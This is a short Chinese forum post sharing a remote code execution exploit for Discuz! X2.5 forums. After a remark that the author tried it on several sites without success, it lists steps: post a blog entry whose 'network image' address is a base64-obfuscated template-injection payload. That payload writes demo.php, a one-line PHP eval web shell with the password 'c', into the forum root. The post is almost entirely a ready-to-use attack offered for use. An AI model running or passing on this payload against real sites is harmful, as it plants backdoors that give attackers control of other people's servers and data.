Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]

----------- 首先膜拜大牛的共享精神，我淫比较懒试了几个站都没成功就不弄了，但有人说成功了，不知道是PR问题还是补丁了


 


正文：前面省略一万+字。。。。


利用方法


1.注册任意账户
2.登陆用户，发表blog日志（注意是日志）
3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4.访问日志，论坛根目录下生成demo.php，一句话密码C